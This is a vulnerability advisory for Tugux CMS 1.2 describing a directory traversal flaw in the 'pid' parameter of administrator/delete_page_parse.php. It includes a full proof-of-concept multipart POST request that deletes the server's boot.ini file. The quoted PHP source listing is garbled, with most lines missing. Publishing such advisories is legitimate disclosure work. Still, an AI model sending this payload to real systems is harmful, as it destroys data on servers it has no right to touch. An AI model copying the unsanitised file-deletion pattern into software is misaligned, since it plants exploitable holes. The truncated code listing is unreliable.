Tugux CMS 1.2 (pid) Arbitrary File Deletion Vulnerability

Tugux CMS 1.2 (pid) Arbitrary File Deletion Vulnerability


Tugux CMS 1.2 (pid) Remote Arbitrary File Deletion Vulnerability

Vendor: Tugux Studios
Product web page: http://www.tugux.com
Affected version: 1.2

Summary: Tugux CMS is a free, open-source content Management system
(CMS) and application that powers the entire web.

Desc: Input passed to the 'pid' parameter in administrator/delete_page_parse.php
is not properly sanitised before being used to delete files. This can be exploited
to delete files with the permissions of the web server via directory traversal
sequences passed within the 'pid' parameter.

------------------------------------------------------------------------------
/administrator/delete_page_parse.php:
------------------------------------------------------------------------------

1:

15:
16: Operation completed.Your page has been DELETED.
17: Click Here to go back

';
18: exit();
19: ?>

------------------------------------------------------------------------------

Tested on: Microsoft Windows XP Professional SP3 (EN)
Apache 2.2.14 (Win32)
PHP 5.3.1
MySQL 5.1.41

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
liquidworm gmail com
Zero Science Lab

Advisory ID: ZSL-2011-5024
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5024.php

02.04.2011

--

POST /tugux/administrator/delete_page_parse.php HTTP/1.1
Host: localhost
Proxy-Connection: keep-alive
User-Agent: x
Content-Length: 175
Cache-Control: max-age=0
Origin: null
Content-Type: multipart/form-data; boundary=----x
Accept: text/html
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

------x
Content-Disposition: form-data; name="pid"

../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../boot.ini
------x--

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